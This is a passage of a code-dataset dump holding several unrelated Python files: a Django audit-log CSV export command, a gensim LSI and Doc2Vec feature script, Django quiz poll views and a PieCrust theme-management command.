"api/qp-api-flask/resources/admin_qp_request.py", "file_name": "admin_qp_request.py", "file_ext": "py", "file_size_in_byte": 5823, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "base64.b64decode", "line_number": 8, "usage_type": "call"}, {"api_name": "flask_restful.Resource", "line_number": 19, "usage_type": "name"}, {"api_name": "flask_restful.reqparse.RequestParser", "line_number": 23, "usage_type": "call"}, {"api_name": "flask_restful.reqparse", "line_number": 23, "usage_type": "name"}, {"api_name": "db.query", "line_number": 29, "usage_type": "call"}, {"api_name": "flask_jwt_extended.jwt_required", "line_number": 21, "usage_type": "name"}, {"api_name": "flask_restful.reqparse.RequestParser", "line_number": 37, "usage_type": "call"}, {"api_name": "flask_restful.reqparse", "line_number": 37, "usage_type": "name"}, {"api_name": "db.connectToHost", "line_number": 56, "usage_type": "call"}, {"api_name": "pymysql.err", "line_number": 129, "usage_type": "attribute"}, {"api_name": "flask_jwt_extended.jwt_required", "line_number": 35, "usage_type": "name"}]} {"seq_id": "115750040", "text": "from __future__ import absolute_import\nfrom __future__ import unicode_literals\nimport csv\n\nfrom datetime import datetime\n\nimport argparse\nfrom django.contrib.auth.models import User\nfrom django.core.management.base import BaseCommand, CommandError\n\nfrom auditcare.utils.export import write_log_events, get_users_to_export\nfrom corehq.apps.domain.models import Domain\nfrom corehq.apps.users.models import WebUser\n\n\ndef valid_date(s):\n try:\n return datetime.strptime(s, \"%Y-%m-%d\")\n except ValueError:\n msg = \"Not a valid date: '{0}'.\".format(s)\n raise argparse.ArgumentTypeError(msg)\n\n\nclass Command(BaseCommand):\n help = \"\"\"Generate request report\"\"\"\n\n def add_arguments(self, parser):\n parser.add_argument('filename', help=\"Output file path\")\n parser.add_argument(\n '-d'\n '--domain',\n dest='domain',\n help=\"Limit logs to only this domain\"\n )\n parser.add_argument(\n '-u',\n '--user',\n dest='user',\n help=\"Limit logs to only this user\"\n )\n parser.add_argument(\n '-s',\n '--startdate',\n dest='start',\n type=valid_date,\n help=\"The start date - format YYYY-MM-DD\",\n )\n parser.add_argument(\n '-e',\n '--enddate',\n dest='end',\n type=valid_date,\n help=\"The end date - format YYYY-MM-DD\",\n )\n parser.add_argument(\n '--display-superuser',\n action='store_true',\n dest='display_superuser',\n default=False,\n help=\"Include superusers in report, otherwise 'Dimagi User'\",\n )\n\n def handle(self, filename, **options):\n domain = options[\"domain\"]\n user = options[\"user\"]\n display_superuser = options[\"display_superuser\"]\n\n dimagi_username = \"\"\n if not display_superuser:\n dimagi_username = \"Dimagi Support\"\n\n if not domain and not user:\n raise CommandError(\"Please provide one of 'domain' or 'user'\")\n\n if domain:\n domain_object = Domain.get_by_name(domain)\n if not domain_object:\n raise CommandError(\"Domain not found\")\n\n users, super_users = get_users_to_export(user, domain)\n\n with open(filename, 'wb') as csvfile:\n writer = csv.writer(csvfile)\n writer.writerow(['Date', 'User', 'Domain', 'IP Address', 'Request Path'])\n for user in users:\n write_log_events(\n writer, user, domain,\n start_date=options['start'], end_date=options['end']\n )\n\n for user in super_users:\n write_log_events(\n writer, user, domain,\n override_user=dimagi_username,\n start_date=options['start'], end_date=options['end']\n )\n", "sub_path": "corehq/ex-submodules/auditcare/management/commands/generate_request_report.py", "file_name": "generate_request_report.py", "file_ext": "py", "file_size_in_byte": 2967, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "datetime.datetime.strptime", "line_number": 18, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 18, "usage_type": "name"}, {"api_name": "argparse.ArgumentTypeError", "line_number": 21, "usage_type": "call"}, {"api_name": "django.core.management.base.BaseCommand", "line_number": 24, "usage_type": "name"}, {"api_name": "django.core.management.base.CommandError", "line_number": 73, "usage_type": "call"}, {"api_name": "corehq.apps.domain.models.Domain.get_by_name", "line_number": 76, "usage_type": "call"}, {"api_name": "corehq.apps.domain.models.Domain", "line_number": 76, "usage_type": "name"}, {"api_name": "django.core.management.base.CommandError", "line_number": 78, "usage_type": "call"}, {"api_name": "auditcare.utils.export.get_users_to_export", "line_number": 80, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 83, "usage_type": "call"}, {"api_name": "auditcare.utils.export.write_log_events", "line_number": 86, "usage_type": "call"}, {"api_name": "auditcare.utils.export.write_log_events", "line_number": 92, "usage_type": "call"}]} {"seq_id": "427293970", "text": "#!/bin/python/\n\n''' feature_join.py\n\n Process the \n \n'''\n\nimport sys\nimport numpy as np\nimport sklearn as sk\nfrom random import shuffle\nfrom gensim import corpora, models, matutils, utils\nfrom gensim.models import Doc2Vec\nfrom gensim.models import Word2Vec\nfrom gensim.models.doc2vec import LabeledSentence\n\nclass LabeledLineSentence(object):\n def __init__(self, doc_list, labels_list):\n self.labels_list = labels_list\n self.doc_list = doc_list\n def __iter__(self):\n for idx, doc in enumerate(self.doc_list):\n yield LabeledSentence(doc,['PostID_%s' % (self.labels_list[idx])])\n\ndef LSI_transform( feature_list, num_topics ):\n\n for (corp, vocab, name) in feature_list:\n tf_idf = models.TfidfModel( corp )\n corpus_tfIdf = tf_idf[corp]\n\n LSI = models.LsiModel( corpus_tfIdf, id2word=vocab, num_topics=num_topics )\n # apply the LDA transformation \n # convert from sparse to dense\n # save the matrix to disk\n np.save( name+'/'+name+'_LSI.npy', \n np.transpose( matutils.corpus2dense(LSI[corpus_tfIdf], num_topics))\n )\n \n\n #using this tutorial: https://medium.com/@klintcho/doc2vec-tutorial-using-gensim-ab3ac03d3a1#.ymtcbtlk2\n #and this ref: https://linanqiu.github.io/2015/10/07/word2vec-sentiment/\ndef doc2vec(title_size, body_size, tag_size):\n postids = np.load(\"fixed_width/postids.npy\")\n \n titles = np.load(\"title/title.npy\")\n title_it = LabeledLineSentence(titles, postids)\n\n bodies = np.load(\"body/bodies.npy\")\n body_it = LabeledLineSentence(bodies, postids)\n\n #tags = np.load(\"tags/tags.npy\")\n #tags_it = LabeledLineSentence(tags, postids)\n\n #see param docs: http://radimrehurek.com/gensim/models/doc2vec.html\n #need to fine-tune on a larger sub-sample\n title_model = Doc2Vec(size=title_size, window=10, min_count=5, alpha=.025, min_alpha=.025)\n title_model.build_vocab(title_it)\n\n body_model = Doc2Vec(size=body_size, window=10, min_count=5, alpha=.025, min_alpha=.025)\n body_model.build_vocab(body_it)\n\n #tags_model = Doc2Vec(size=tag_size, window=10, min_count=166, alpha=.025, min_alpha=.025)\n #tags_model.build_vocab(tags_it)\n\n for epoch in range(10):\n title_model.train(title_it)\n title_model.alpha -= .002\n title_model.min_alpha = title_model.alpha\n \n body_model.train(body_it)\n body_model.alpha -= .002\n body_model.min_alpha = body_model.alpha\n\n #tags_model.train(tags_it)\n #tags_model.alpha -= .002\n #tags_model.min_alpha = tags_model.alpha\n\n title_vecs = np.zeros((len(titles), title_size))\n body_vecs = np.zeros((len(bodies), body_size))\n #tag_vecs = np.zeros((len(tags), tag_size))\n\n for idx,postid in enumerate(postids):\n \ttitle_vecs[idx] = title_model.docvecs['PostID_%s' % postid]\n \tbody_vecs[idx] = body_model.docvecs['PostID_%s' % postid]\n \t#tag_vecs[idx] = tags_model.docvecs['PostID_%s' % postid]\n\n title_model.save(\"title/doc2vec.title_model\")\n np.save(\"title/title_vecs.npy\", title_vecs)\n body_model.save(\"body/doc2vec.body_model\")\n np.save(\"body/body_vecs.npy\", body_vecs)\n #np.save(\"tags/tag_vecs.npy\", tag_vecs)\n return(title_model, body_model)\n\ndef main():\n titleVocab = corpora.Dictionary.load(\"title/title_vocab.dict\")\n titleCorpus = corpora.MmCorpus(\"title/title_word_corpus.mm\")\n bodyVocab = corpora.Dictionary.load(\"body/body_vocab.dict\")\n bodyCorpus = corpora.MmCorpus(\"body/body_word_corpus.mm\")\n tagsVocab = corpora.Dictionary.load(\"tags/tags_vocab.dict\")\n tagsCorpus = corpora.MmCorpus(\"tags/tags_word_corpus.mm\")\n\n ''' hacky way to iterate over the corpora '''\n feature_list = [ ( titleCorpus, titleVocab, \"title\" ),\n ( bodyCorpus, bodyVocab, \"body\" ),\n ( tagsCorpus, tagsVocab, \"tags\" ) ]\n\n LSI_transform( feature_list, num_topics=50 )\n\n\n\nif __name__ == '__main__':\n title_model, body_model = doc2vec(200, 200, 50)\n\n #inspect model performance\n '''\n print(body_model.doesnt_match(\"trouble issue problem python\".split()))\n print(body_model.doesnt_match(\"html css compiler\".split()))\n print(body_model.most_similar(\"javascript\"))\n print(body_model.infer_vector(\"html test code problem\".split()))\n print(body_model.similarity('html','css'))\n print(body_model.similarity('java','java'))\n print(body_model.similarity('compiler','python'))\n print(body_model.docvecs[0])\n print(body_model.docvecs['PostID_4'])\n print(body_model.docvecs.most_similar('PostID_4'))\n print(body_model.docvecs.most_similar('PostID_16114'))\n \t'''\n\n\n", "sub_path": "transform_text.py", "file_name": "transform_text.py", "file_ext": "py", "file_size_in_byte": 4659, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "gensim.models.doc2vec.LabeledSentence", "line_number": 24, "usage_type": "call"}, {"api_name": "gensim.models.TfidfModel", "line_number": 29, "usage_type": "call"}, {"api_name": "gensim.models", "line_number": 29, "usage_type": "name"}, {"api_name": "gensim.models.LsiModel", "line_number": 32, "usage_type": "call"}, {"api_name": "gensim.models", "line_number": 32, "usage_type": "name"}, {"api_name": "numpy.save", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 37, "usage_type": "call"}, {"api_name": "gensim.matutils.corpus2dense", "line_number": 37, "usage_type": "call"}, {"api_name": "gensim.matutils", "line_number": 37, "usage_type": "name"}, {"api_name": "numpy.load", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 49, "usage_type": "call"}, {"api_name": "gensim.models.Doc2Vec", "line_number": 57, "usage_type": "call"}, {"api_name": "gensim.models.Doc2Vec", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 91, "usage_type": "call"}, {"api_name": "gensim.corpora.Dictionary.load", "line_number": 96, "usage_type": "call"}, {"api_name": "gensim.corpora.Dictionary", "line_number": 96, "usage_type": "attribute"}, {"api_name": "gensim.corpora", "line_number": 96, "usage_type": "name"}, {"api_name": "gensim.corpora.MmCorpus", "line_number": 97, "usage_type": "call"}, {"api_name": "gensim.corpora", "line_number": 97, "usage_type": "name"}, {"api_name": "gensim.corpora.Dictionary.load", "line_number": 98, "usage_type": "call"}, {"api_name": "gensim.corpora.Dictionary", "line_number": 98, "usage_type": "attribute"}, {"api_name": "gensim.corpora", "line_number": 98, "usage_type": "name"}, {"api_name": "gensim.corpora.MmCorpus", "line_number": 99, "usage_type": "call"}, {"api_name": "gensim.corpora", "line_number": 99, "usage_type": "name"}, {"api_name": "gensim.corpora.Dictionary.load", "line_number": 100, "usage_type": "call"}, {"api_name": "gensim.corpora.Dictionary", "line_number": 100, "usage_type": "attribute"}, {"api_name": "gensim.corpora", "line_number": 100, "usage_type": "name"}, {"api_name": "gensim.corpora.MmCorpus", "line_number": 101, "usage_type": "call"}, {"api_name": "gensim.corpora", "line_number": 101, "usage_type": "name"}]} {"seq_id": "77449900", "text": "\"\"\"\nDefinition of views.\n\"\"\"\n\nfrom django.shortcuts import render,get_object_or_404\nfrom django.http import HttpRequest\nfrom django.template import RequestContext\nfrom datetime import datetime\nfrom django.http.response import HttpResponse, Http404\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom .models import Question,Choice,User, QuestionQuiz, Answers\nfrom django.template import loader\nfrom django.core.urlresolvers import reverse\nfrom app.forms import QuestionForm, ChoiceForm,UserForm, QuestionFormQuiz, AnswerForm\nfrom django.shortcuts import redirect\nimport json\nfrom django.contrib import messages\nfrom django.db.models import Count\n\ndef home(request):\n \"\"\"Renders the home page.\"\"\"\n assert isinstance(request, HttpRequest)\n return render(\n request,\n 'app/index.html',\n {\n 'title':'Home Page',\n 'year':datetime.now().year,\n }\n )\n\ndef contact(request):\n \"\"\"Renders the contact page.\"\"\"\n assert isinstance(request, HttpRequest)\n return render(\n request,\n 'app/contact.html',\n {\n 'title':'Autor de la web',\n 'message':'Datos de contacto',\n 'year':datetime.now().year,\n }\n )\n\ndef about(request):\n \"\"\"Renders the about page.\"\"\"\n assert isinstance(request, HttpRequest)\n return render(\n request,\n 'app/about.html',\n {\n 'title':'About',\n 'message':'Your application description page.',\n 'year':datetime.now().year,\n }\n )\ndef index(request):\n if request.method == \"POST\":\n selected_theme = request.POST['mythemes']\n if selected_theme == \"\":\n latest_question_list = QuestionQuiz.objects.order_by('-pub_date')\n else:\n latest_question_list = QuestionQuiz.objects.order_by('-pub_date').filter(question_theme=selected_theme)\n template = loader.get_template('polls/index.html')\n themes = QuestionQuiz.objects.values('question_theme').distinct()\n context = {\n 'title':'Lista de preguntas de la encuesta',\n 'latest_question_list': latest_question_list,\n 'themes' : themes,\n 'mytheme' : selected_theme,\n }\n else:\n latest_question_list = QuestionQuiz.objects.order_by('-pub_date')\n template = loader.get_template('polls/index.html')\n themes = QuestionQuiz.objects.values('question_theme').distinct()\n #distinct = QuestionQuiz.objects.values('question_theme').annotate(theme_count=Count('question_theme')).filter(theme_count=1)\n #themes = QuestionQuiz.objects.filter(question_theme__in=[item['question_theme'] for item in distinct])\n #themes = [obj.question_theme for obj in latest_question_list]\n #themes = QuestionQuiz.objects.order_by('-pub_date').values('question_theme').distinct('question_theme')\n context = {\n 'title':'Lista de preguntas de la encuesta',\n 'latest_question_list': latest_question_list,\n 'themes' : themes,\n }\n \n return render(request, 'polls/index.html', context)\n\ndef detail(request, question_id):\n question = get_object_or_404(QuestionQuiz, pk=question_id)\n return render(request, 'polls/detail.html', {'title':'Respuestas asociadas a la pregunta:','question': question})\n\ndef results(request, question_id, answer):\n question = get_object_or_404(QuestionQuiz, pk=question_id)\n a = get_object_or_404(Answers, pk=answer)\n if a.correct == True :\n resultado = 'Has contestado ' + a.answer +' y has acertado!'\n else:\n resultado = 'Has contestado ' + a.answer +' y has fallado.'\n return render(request, 'polls/results.html', {'title':'Resultados de la pregunta:','question': question, 'resultado': resultado, 'bool': a.correct,})\n\ndef vote(request, question_id):\n p = get_object_or_404(QuestionQuiz, pk=question_id)\n try:\n selected_choice = p.answers_set.get(pk=request.POST['choice'])\n except (KeyError, Answers.DoesNotExist):\n # Vuelve a mostrar el form.\n return render(request, 'polls/detail.html', {\n 'question': p,\n 'error_message': \"ERROR: No se ha seleccionado una opcion\",\n })\n else:\n selected_choice.votes += 1\n selected_choice.save()\n # Siempre devolver un HttpResponseRedirect despues de procesar\n # exitosamente el POST de un form. Esto evita que los datos se\n # puedan postear dos veces si el usuario vuelve atras en su browser.\n return HttpResponseRedirect(reverse('results', args=(p.id, selected_choice.id,)))\n\ndef question_new(request):\n if request.method == \"POST\":\n form = QuestionFormQuiz(request.POST)\n if form.is_valid():\n question = form.save(commit=False)\n question.pub_date=datetime.now()\n question.save()\n #return redirect('detail', pk=question_id)\n #return render(request, 'polls/index.html', {'title':'Respuestas posibles','question': question})\n else:\n form = QuestionFormQuiz()\n return render(request, 'polls/question_new.html', {'form': form})\n\ndef choice_add(request, question_id):\n question = QuestionQuiz.objects.get(id = question_id)\n if request.method =='POST':\n form = AnswerForm(request.POST)\n if form.is_valid():\n if question.answers_set.count() < 4:\n choice = form.save(commit = False)\n choice.question = question\n choice.vote = 0\n choice.save() \n #form.save()\n else:\n #messages.info(request, 'Esta pregunta ya tiene 4 respuestas.')\n return render(request, 'polls/detail.html', {'title':'Respuestas asociadas a la pregunta:','question': question, 'max_answ':'Esta pregunta ya tiene 4 respuestas.',})\n else: \n form = AnswerForm()\n #return render_to_response ('choice_new.html', {'form': form, 'poll_id': poll_id,}, context_instance = RequestContext(request),)\n return render(request, 'polls/choice_new.html', {'title':'Pregunta:'+ question.question_text,'form': form, 'ans_count': question.answers_set.count(),})\n\ndef chart(request, question_id):\n q=QuestionQuiz.objects.get(id = question_id)\n qs = Answers.objects.filter(question=q)\n dates = [obj.answer for obj in qs]\n counts = [obj.votes for obj in qs]\n context = {\n 'dates': json.dumps(dates),\n 'counts': json.dumps(counts),\n }\n\n return render(request, 'polls/grafico.html', context)\n\ndef user_new(request):\n if request.method == \"POST\":\n form = UserForm(request.POST)\n if form.is_valid():\n user = form.save(commit=False)\n user.save()\n #return redirect('detail', pk=question_id)\n #return render(request, 'polls/index.html', {'title':'Respuestas posibles','question': question})\n else:\n form = UserForm()\n return render(request, 'polls/user_new.html', {'form': form})\n\ndef users_detail(request):\n latest_user_list = User.objects.order_by('email')\n template = loader.get_template('polls/users.html')\n context = {\n 'title':'Lista de usuarios',\n 'latest_user_list': latest_user_list,\n }\n return render(request, 'polls/users.html', context)", "sub_path": "DjangoWebProjectVS2017/obj/Release/Package/PackageTmp/app/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 7536, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.http.HttpRequest", "line_number": 22, "usage_type": "argument"}, {"api_name": "django.shortcuts.render", "line_number": 23, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 28, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 28, "usage_type": "name"}, {"api_name": "django.http.HttpRequest", "line_number": 34, "usage_type": "argument"}, {"api_name": "django.shortcuts.render", "line_number": 35, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 41, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 41, "usage_type": "name"}, {"api_name": "django.http.HttpRequest", "line_number": 47, "usage_type": "argument"}, {"api_name": "django.shortcuts.render", "line_number": 48, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 54, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 54, "usage_type": "name"}, {"api_name": "models.QuestionQuiz.objects.order_by", "line_number": 61, "usage_type": "call"}, {"api_name": "models.QuestionQuiz.objects", "line_number": 61, "usage_type": "attribute"}, {"api_name": "models.QuestionQuiz", "line_number": 61, "usage_type": "name"}, {"api_name": "models.QuestionQuiz.objects.order_by", "line_number": 63, "usage_type": "call"}, {"api_name": "models.QuestionQuiz.objects", "line_number": 63, "usage_type": "attribute"}, {"api_name": "models.QuestionQuiz", "line_number": 63, "usage_type": "name"}, {"api_name": "django.template.loader.get_template", "line_number": 64, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 64, "usage_type": "name"}, {"api_name": "models.QuestionQuiz.objects.values", "line_number": 65, "usage_type": "call"}, {"api_name": "models.QuestionQuiz.objects", "line_number": 65, "usage_type": "attribute"}, {"api_name": "models.QuestionQuiz", "line_number": 65, "usage_type": "name"}, {"api_name": "models.QuestionQuiz.objects.order_by", "line_number": 73, "usage_type": "call"}, {"api_name": "models.QuestionQuiz.objects", "line_number": 73, "usage_type": "attribute"}, {"api_name": "models.QuestionQuiz", "line_number": 73, "usage_type": "name"}, {"api_name": "django.template.loader.get_template", "line_number": 74, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 74, "usage_type": "name"}, {"api_name": "models.QuestionQuiz.objects.values", "line_number": 75, "usage_type": "call"}, {"api_name": "models.QuestionQuiz.objects", "line_number": 75, "usage_type": "attribute"}, {"api_name": "models.QuestionQuiz", "line_number": 75, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 86, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 89, "usage_type": "call"}, {"api_name": "models.QuestionQuiz", "line_number": 89, "usage_type": "argument"}, {"api_name": "django.shortcuts.render", "line_number": 90, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 93, "usage_type": "call"}, {"api_name": "models.QuestionQuiz", "line_number": 93, "usage_type": "argument"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 94, "usage_type": "call"}, {"api_name": "models.Answers", "line_number": 94, "usage_type": "argument"}, {"api_name": "django.shortcuts.render", "line_number": 99, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 102, "usage_type": "call"}, {"api_name": "models.QuestionQuiz", "line_number": 102, "usage_type": "argument"}, {"api_name": "models.Answers.DoesNotExist", "line_number": 105, "usage_type": "attribute"}, {"api_name": "models.Answers", "line_number": 105, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 107, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 117, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 117, "usage_type": "call"}, {"api_name": "app.forms.QuestionFormQuiz", "line_number": 121, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 124, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 124, "usage_type": "name"}, {"api_name": "app.forms.QuestionFormQuiz", "line_number": 129, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 130, "usage_type": "call"}, {"api_name": "models.QuestionQuiz.objects.get", "line_number": 133, "usage_type": "call"}, {"api_name": "models.QuestionQuiz.objects", "line_number": 133, "usage_type": "attribute"}, {"api_name": "models.QuestionQuiz", "line_number": 133, "usage_type": "name"}, {"api_name": "app.forms.AnswerForm", "line_number": 135, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 145, "usage_type": "call"}, {"api_name": "app.forms.AnswerForm", "line_number": 147, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 149, "usage_type": "call"}, {"api_name": "models.QuestionQuiz.objects.get", "line_number": 152, "usage_type": "call"}, {"api_name": "models.QuestionQuiz.objects", "line_number": 152, "usage_type": "attribute"}, {"api_name": "models.QuestionQuiz", "line_number": 152, "usage_type": "name"}, {"api_name": "models.Answers.objects.filter", "line_number": 153, "usage_type": "call"}, {"api_name": "models.Answers.objects", "line_number": 153, "usage_type": "attribute"}, {"api_name": "models.Answers", "line_number": 153, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 157, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 158, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 161, "usage_type": "call"}, {"api_name": "app.forms.UserForm", "line_number": 165, "usage_type": "call"}, {"api_name": "app.forms.UserForm", "line_number": 172, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 173, "usage_type": "call"}, {"api_name": "models.User.objects.order_by", "line_number": 176, "usage_type": "call"}, {"api_name": "models.User.objects", "line_number": 176, "usage_type": "attribute"}, {"api_name": "models.User", "line_number": 176, "usage_type": "name"}, {"api_name": "django.template.loader.get_template", "line_number": 177, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 177, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 182, "usage_type": "call"}]} {"seq_id": "329431709", "text": "import os\nimport os.path\nimport shutil\nimport logging\nimport yaml\nfrom piecrust import (\n RESOURCES_DIR, THEME_DIR, THEME_CONFIG_PATH, THEME_INFO_PATH)\nfrom piecrust.commands.base import ChefCommand\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass ThemesCommand(ChefCommand):\n def __init__(self):\n super(ThemesCommand, self).__init__()\n self.name = 'themes'\n self.description = \"Manage the themes for the current website.\"\n\n def setupParser(self, parser, app):\n if app.root_dir is None:\n return\n\n subparsers = parser.add_subparsers()\n p = subparsers.add_parser(\n 'create',\n help=\"Create a new theme for the current website.\")\n p.add_argument(\n '--from-default',\n action='store_true',\n help=(\"Create a new theme by copying the default PieCrust \"\n \"theme into the theme directory\"))\n p.add_argument(\n 'theme_name',\n help=(\"The name of the theme\"))\n p.set_defaults(sub_func=self._createTheme)\n\n p = subparsers.add_parser(\n 'override',\n help=\"Copies a theme to the website for customization.\")\n p.set_defaults(sub_func=self._overrideTheme)\n\n def checkedRun(self, ctx):\n ctx.args.sub_func(ctx)\n\n def _createTheme(self, ctx):\n theme_dir = os.path.join(ctx.app.root_dir, THEME_DIR)\n if os.path.exists(theme_dir):\n logger.warning(\"A theme already exists, and will be overwritten. \"\n \"Are you sure? [Y/n]\")\n ans = input()\n if len(ans) > 0 and ans.lower() not in ['y', 'yes']:\n return 1\n\n shutil.rmtree(theme_dir)\n\n try:\n if ctx.args.from_default:\n def reporting_copy2(src, dst):\n rel_dst = os.path.relpath(dst, ctx.app.root_dir)\n logger.info(rel_dst)\n shutil.copy2(src, dst)\n\n default_theme_dir = os.path.join(RESOURCES_DIR, 'theme')\n shutil.copytree(default_theme_dir, theme_dir,\n copy_function=reporting_copy2)\n return 0\n\n logger.info(\"Creating theme directory.\")\n os.makedirs(theme_dir)\n\n logger.info(\"Creating theme_config.yml\")\n config_path = os.path.join(theme_dir, THEME_CONFIG_PATH)\n with open(config_path, 'w', encoding='utf8') as fp:\n fp.write('')\n\n logger.info(\"Creating theme_info.yml\")\n info_path = os.path.join(theme_dir, THEME_INFO_PATH)\n with open(info_path, 'w', encoding='utf8') as fp:\n yaml.dump(\n {\n 'name': ctx.args.theme_name or 'My New Theme',\n 'description': \"A new PieCrust theme.\",\n 'authors': ['Your Name Here <email or twitter>'],\n 'url': 'http://www.example.org'},\n fp,\n default_flow_style=False)\n return 0\n except:\n logger.error(\"Error occured, deleting theme directory.\")\n shutil.rmtree(theme_dir)\n raise\n\n def _overrideTheme(self, ctx):\n app_dir = ctx.app.root_dir\n theme_dir = ctx.app.theme_dir\n if not theme_dir:\n logger.error(\"There is not theme currently applied to override.\")\n return 1\n\n copies = []\n for dirpath, dirnames, filenames in os.walk(theme_dir):\n rel_dirpath = os.path.relpath(dirpath, theme_dir)\n for name in filenames:\n if (dirpath == theme_dir and\n name in [THEME_CONFIG_PATH, THEME_INFO_PATH]):\n continue\n src_path = os.path.join(dirpath, name)\n dst_path = os.path.join(app_dir, rel_dirpath, name)\n copies.append((src_path, dst_path))\n\n conflicts = []\n for c in copies:\n if os.path.exists(c[1]):\n conflicts.append(c[1])\n if conflicts:\n logger.warning(\"Some website files will be overwritten:\")\n for c in conflicts:\n logger.warning(os.path.relpath(c, app_dir))\n logger.warning(\"Are you sure? [Y/n]\")\n ans = input()\n if len(ans) > 0 and ans.lower() not in ['y', 'yes']:\n return 1\n\n for c in copies:\n logger.info(os.path.relpath(c[1], app_dir))\n if not os.path.exists(os.path.dirname(c[1])):\n os.makedirs(os.path.dirname(c[1]))\n shutil.copy2(c[0], c[1])\n\n", "sub_path": "piecrust/commands/builtin/themes.py", "file_name": "themes.py", "file_ext": "py", "file_size_in_byte": 4746, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.getLogger", "line_number": 11, "usage_type": "call"}, {"api_name": "piecrust.commands.base.ChefCommand", "line_number": 14, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 47, "usage_type": "call"}, {"api_name": "piecrust.THEME_DIR", "line_number": 47, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 47, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path", "line_number": 48, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path.relpath", "line_number": 60, "usage_type": "call"}, {"api_name": "os.path", "line_number": 60, "usage_type": "attribute"}, {"api_name": "shutil.copy2", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 64, "usage_type": "call"}, {"api_name": "piecrust.RESOURCES_DIR", "line_number": 64, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 64, "usage_type": "attribute"}, {"api_name": "shutil.copytree", "line_number": 65, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 70, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 73, "usage_type": "call"}, {"api_name": "piecrust.THEME_CONFIG_PATH", "line_number": 73, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 73, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 78, "usage_type": "call"}, {"api_name": "piecrust.THEME_INFO_PATH", "line_number": 78, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 78, "usage_type": "attribute"}, {"api_name": "yaml.dump", "line_number": 80, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 91, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 102, "usage_type": "call"}, {"api_name": "os.path.relpath", "line_number": 103, "usage_type": "call"}, {"api_name": "os.path", "line_number": 103, "usage_type": "attribute"}, {"api_name": "piecrust.THEME_CONFIG_PATH", "line_number": 106, "usage_type": "name"}, {"api_name": "piecrust.THEME_INFO_PATH", "line_number": 106, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 108, "usage_type": "call"}, {"api_name": "os.path", "line_number": 108, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 109, "usage_type": "call"}, {"api_name": "os.path", "line_number": 109, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 114, "usage_type": "call"}, {"api_name": "os.path", "line_number": 114, "usage_type": "attribute"}, {"api_name": "os.path.relpath", "line_number": 119, "usage_type": "call"}, {"api_name": "os.path", "line_number": 119, "usage_type": "attribute"}, {"api_name": "os.path.relpath", "line_number": 126, "usage_type": "call"}, {"api_name": "os.path", "line_number": 126, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 127, "usage_type": "call"}, {"api_name": "os.path", "line_number": 127, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 127, "usage_type": "call"}, {"api_name": 